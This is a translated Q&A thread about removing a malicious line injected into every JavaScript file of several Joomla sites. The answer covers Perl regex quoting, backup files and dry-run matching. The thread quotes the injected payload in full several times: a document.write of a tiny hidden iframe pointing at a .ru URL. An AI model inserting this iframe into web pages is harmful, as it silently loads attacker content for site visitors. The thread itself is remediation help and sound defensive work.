在我的共享主机帐户上的所有Joomla安装的所有js文件的末尾注入了以下恶意行:
;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
我想使用以下SSH命令(应该有一些错误)从所有文件中立即删除它:
find ./ -name "*.js" -type f | xargs perl -pi -e 's/;document.write\(\'\<iframe src\=\"http\:\/\/tweakdoled.ru\".*\"\);//g'
问题是因为必须使用反斜杠来转义某些字符,我不知道我是否正确使用它以及还有什么应该被转义。
毋庸置疑,该命令无效。
有什么想法吗?
谢谢!
答案 0 :(得分:1)
使用Perl \Q...\E
表示法暂停元字符。但是,由于要匹配的字符串中存在如此混乱的字符,这对于shell来说也是特殊的,我会使用script.pl
将Perl正则表达式放入文件(%
)中不会出现在要替换的字符串中作为正则表达式分隔符:
s%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%%g;
然后运行:
find ./ -name "*.js" -type f | xargs perl -pi.bak -f script.pl
如果你花了足够的时间,你可能会找到一种方法让它在没有脚本文件的情况下工作;不过,这可能是不值得的(特别是因为我确定你几天前问了一些非常相似的东西)。
显然,在运行此编辑文件之前,您将运行一个变体以确保打印所需的行:
script2.pl
:
print if m%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%;
使用:
运行find ./ -name "*.js" -type f | xargs perl -n -f script2.pl
如果这没有检测到线条,那么您会追踪变体,直到找到匹配的内容。您可能决定使用以下内容:
print if m%;document.write.'<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'.;%;
这用.
取代了两个括号(因此,理论上,它可能与其他东西相匹配,但在实践中,它不会。)